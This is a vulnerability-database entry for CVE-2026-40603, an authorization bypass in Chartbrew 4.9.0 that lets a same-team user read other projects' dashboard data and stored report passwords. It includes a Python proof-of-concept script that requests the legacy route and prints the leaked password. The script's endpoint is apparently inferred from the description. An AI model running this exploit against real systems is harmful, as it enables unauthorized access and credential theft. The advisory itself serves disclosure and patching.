Security Vulnerability Report
中文
CVE-2026-40603 CVSS 6.5 MEDIUM

CVE-2026-40603

Published: 2026-04-30 19:16:10
Last Modified: 2026-05-01 15:31:02

Description

Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes a legacy dashboard route that returns a project's report data to any authenticated member of the same team, even when that user does not have access to the specific project. The route bypasses project-level authorization and returns the raw project object. As a result, a low-privileged same-team user can read another project's dashboard data and recover the project's stored report password from the response. This issue has been patched in version 5.0.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Chartbrew 4.9.0
Chartbrew < 5.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example endpoint based on description) target_url = "http://target-chartbrew-instance/api/legacy/dashboard/{project_id}" # Attacker's credentials (Low privilege user in the same team) attacker_token = "LOW_PRIVILEGE_USER_TOKEN" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # The ID of the project the attacker wants to access (IDOR) target_project_id = "12345" try: # Send request to the vulnerable legacy route response = requests.get(target_url.format(project_id=target_project_id), headers=headers) if response.status_code == 200: data = response.json() print("[+] Exploit Successful! Retrieved raw project object:") print(data) # Extract sensitive data (e.g., report password) if 'reportPassword' in data: print(f"[+] Leaked Report Password: {data['reportPassword']}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40603", "sourceIdentifier": "[email protected]", "published": "2026-04-30T19:16:10.253", "lastModified": "2026-05-01T15:31:02.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes a legacy dashboard route that returns a project's report data to any authenticated member of the same team, even when that user does not have access to the specific project. The route bypasses project-level authorization and returns the raw project object. As a result, a low-privileged same-team user can read another project's dashboard data and recover the project's stored report password from the response. This issue has been patched in version 5.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-6qr3-g75h-xm3f", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-6qr3-g75h-xm3f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}